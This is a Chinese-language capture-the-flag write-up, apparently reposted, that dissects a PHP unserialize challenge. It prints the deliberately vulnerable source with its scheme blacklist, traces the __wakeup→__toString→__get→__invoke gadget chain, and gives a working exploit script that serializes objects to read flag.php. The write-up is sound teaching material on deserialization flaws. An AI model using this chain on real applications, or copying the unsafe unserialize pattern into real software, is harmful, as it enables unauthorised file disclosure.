一道反序列化題的分析


0x01 題目來源

來自於prontosil師傅的文章https://prontosil.club/2019/10/20/yi-dao-fan-xu-lie-hua-ti-de-fen-xi/#more

0x02 前言

很特殊的POP鏈,從一個小白的角度出發來剖析這道題

<?php
error_reporting(1);
class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }


    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }

    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source); 
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test
{

    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

0x03 分析

0#01 需要傳入程序中的參數

if(isset($_GET['hello']))
{
    unserialize($_GET['hello']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}

分析:

  • 如果傳入hello參數, 進入反序列化
  • 如果沒有傳入hello參數, 則會調用 Show這個類,顯示 index.php的內容

0#02 反序列化鏈分析

根據 Read ()類中的 file_get()可以看出這里是反序列化的終點,通過 file_get_content()函數去讀取flag文件

class Read {
    public $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

為了觸發 file_get()函數我們可以定位到魔術方法 __invoke()

  • __invoke(): 當類的一個對象被當成函數調用的時候觸發

    <?php
        class  Test
        {
            public function __invoke($params1,$params2)
            {
                echo "__invoke()".'<p>';
                echo "params1  : {$params1} <p>";
                echo "params2 : {$params2} <p>";
            }
    
        }
        $test = new Test();
        $test(123,'aaa');
    ?>
    //  結果顯示
    //__invoke()
    //params1 : 123
    //params2 : aaa
    

所以我們就需要考慮如何觸發 __invoke()這個魔術方法?

定位到 Class Test的 __get()方法, 此時的$function參數一定是 Class Read, 這個類會被當做函數執行從而觸發了 __invoke()

class Test
{
    public $p;
    public function __construct()
    {
        $this->p = array();
    }

    public function __get($key)
    {
        $function = $this->p;
        return $function();
    }
}
  • __get():當訪問類中的私有屬性或者是不存在的屬性, 觸發 __get魔術方法

那么問題又來了, 如何觸發 __get()魔術方法呢?

定位到 Class Show

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'Welcome'."<br>";
    }
    public function __toString()
    {
        return $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
            die('hacker');
        } else {
            highlight_file($this->source);
        }

    }

    public function __wakeup()
    {
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

看到有一個 __toString()的 魔術方法, 里面返回了 $this->str['str']->source, 倘若 $this->str['str']的值為 Class Test,

那么 $this->str['str']->source 表示的意思就是 去調用了Test類中的不存在的屬性source,從而就會觸發 __get()魔術方法, 那么問題就變成如何觸發 __toString()這個魔術方法了?

  • __toString():當類作為字符串使用時觸發

下面重難點來了!!!~

傳統思維就是找echo<?=?>等輸出函數,因為他們默認是把類當作字符串使用,但這里發現無論如何都無法利用,而且一般在做CTF的題的時候,定式思維會認為 __wakeup()這個魔術方法是需要繞過的,然而這里的 __wakeup()確實我們反序列化入口的第一步~!

知識點: preg_match() 會將 $this->source作為字符串使用,然后去匹配

if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

所以,如果 source傳入一個 Class Show的時候, 在反序列化開始時就是觸發 __wakeup,然后通過 preg_match觸發 __toString形成一個完整的反序列化鏈

完整的鏈為:

__wakeup(Show)  =>  preg_match => __toString(Test)  => __get(Read)  => __invoke => file_get => file_get_contents('flag.php')

0#03 EXP

<?php
    class Read {
        public $var = 'flag.php';

    }

    class Show
    {
        public $source;
        public $str;
    }

    class Test
    {
        public $p ;
    }

    $a = new Show();
    $a->source = $a; // toString;
    $a->str['str'] = new Test();
    $a->str['str']->p = new Read();

    echo serialize($a);


拿到Flag!~

總結

序列化真的比較困難,需要你耐心推理,做出來的瞬間你會感到神清氣爽,還有就是不要被定式思維限制了自己的思維~


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM